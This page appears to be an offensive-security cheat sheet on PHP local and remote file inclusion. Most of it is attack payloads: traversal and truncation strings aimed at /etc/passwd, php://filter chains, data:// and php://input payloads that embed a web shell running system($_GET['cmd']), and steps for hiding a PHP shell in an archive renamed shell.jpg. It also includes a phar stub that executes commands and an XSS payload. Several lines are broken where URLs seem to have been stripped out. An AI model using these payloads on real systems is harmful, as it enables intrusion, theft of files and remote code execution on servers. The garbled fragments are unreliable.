Skip to content

File inclusion

Remote File Inclusion (RFI): The file is loaded from a remote server (Best: You can write the code and the server will execute it). In php this is disabled by default (allow_url_include).

Local File Inclusion (LFI): The sever loads a local file.

The vulnerability occurs when the user can control in some way the file that is going to be load by the server.

Vulnerable PHP functions: require, require_once, include, include_once

PHP Assertion

' and die(show_source('/etc/passwd')) or '
' and die(system("whoami")) or '
- http://target.local/index.php?page=' and die(show_source('/etc/passwd')) or '

Basic LFI and bypasses

traversal sequences stripped non-recursively\/....\/....\/etc/passwd

Null byte (%00)

Bypass the append more chars at the end of the provided string (bypass of: $_GET['param']."php")
This is solved since PHP 5.4


You could use non-standard encondings like double URL encode (and others):

From existent folder

Maybe the back-end is checking the folder path:

Path truncation

Bypass the append of more chars at the end of the provided string (bypass of: $_GET['param']."php")

In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)[ADD MORE]/etc/passwd[ADD MORE]../../../../../etc/passwd
Always try to start the path with a fake directory (a/). This vulnerability was corrected in PHP 5.3.

Filter bypass tricks
Maintain the initial path:

Basic RFI\\\shared\mal.php

Top 25 parameters


LFI / RFI using PHP wrappers & protocols


PHP filters allow perform basic modification operations on the data before being it's read or written.

There are 5 categories of filters:

String filters - string.rot13 - string.toupper - string.tolower - string.strip_tags: Remove tags from the data (everything between "<" and ">" chars) - Note that this filter has disappear from the modern versions of PHP

Conversion Filters - convert.base64-encode - convert.base64-decode - convert.quoted-printable-encode - convert.quoted-printable-decode - convert.iconv.* : Transforms to a different encoding(convert.iconv..) . To get the list of all the encodings supported run in the console: iconv -l

Compression Filters - zlib.deflate: Compress the content (useful if exfiltrating a lot of info) - zlib.inflate: Decompress the data

Encryption Filters - mcrypt. : Deprecated - mdecrypt. : Deprecated

Other Filters - Running in php var_dump(stream_get_filters()); you can find a couple of unexpected filters: - consumed - dechunk: reverses HTTP chunked encoding - convert.*

# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally


  •,hello world
  •,<?php echo shell_exec("id") ?>


This wrapper allows to access file descriptors that the process has open. Potentially useful to exfiltrate the content of opened files:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
You can also use php://stdin, php://stdout and php://stderr to access the file descriptors 0, 1 and 2 respectively (not sure how this could be useful in an attack)

zip:// and rar://

Upload a Zip or Rar file with a PHPShell inside and access it. In order to be able to abuse the rar protocol it need to be specifically activated.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.php;
mv shell.jpg;
rm payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php

data://,<?php echo base64_encode(file_get_contents("index.php")); ?>,<?php phpinfo(); ?>;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=,<?php echo base64_encode(file_get_contents("index.php")); ?>,<?php phpinfo(); ?>;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with :;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+ Note that this protocol is restricted by php configurations allow_url_open and allow_url_include


Expect has to be activated. You can execute code using this.


Specify your payload in the POST parameters
POST DATA: <?php system('id'); ?>


A .phar file can be also used to execute PHP code if the web is using some function like include to load the file.

$phar = new Phar('test.phar');
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

And you can compile the phar executing the following line:
php --define phar.readonly=0 create_path.php
A file called test.phar will be generated that you can use to abuse the LFI.

If the LFI is just reading the file and not executing the php code inside of it, for example using functions like file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). You can try to abuse a deserialization occurring when reading a file using the phar protocol.

More protocols

  • php://memory and php://temp — Write in memory or in a temporary file (not sure how this can be useful in a file inclusion attack)
  • file:// — Accessing local filesystem
  • http:// — Accessing HTTP(s) URLs
  • ftp:// — Accessing FTP(s) URLs
  • zlib:// — Compression Streams
  • glob:// — Find pathnames matching pattern (It doesn't return nothing printable, so not really useful here)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Not useful to read arbitrary files)

Source of that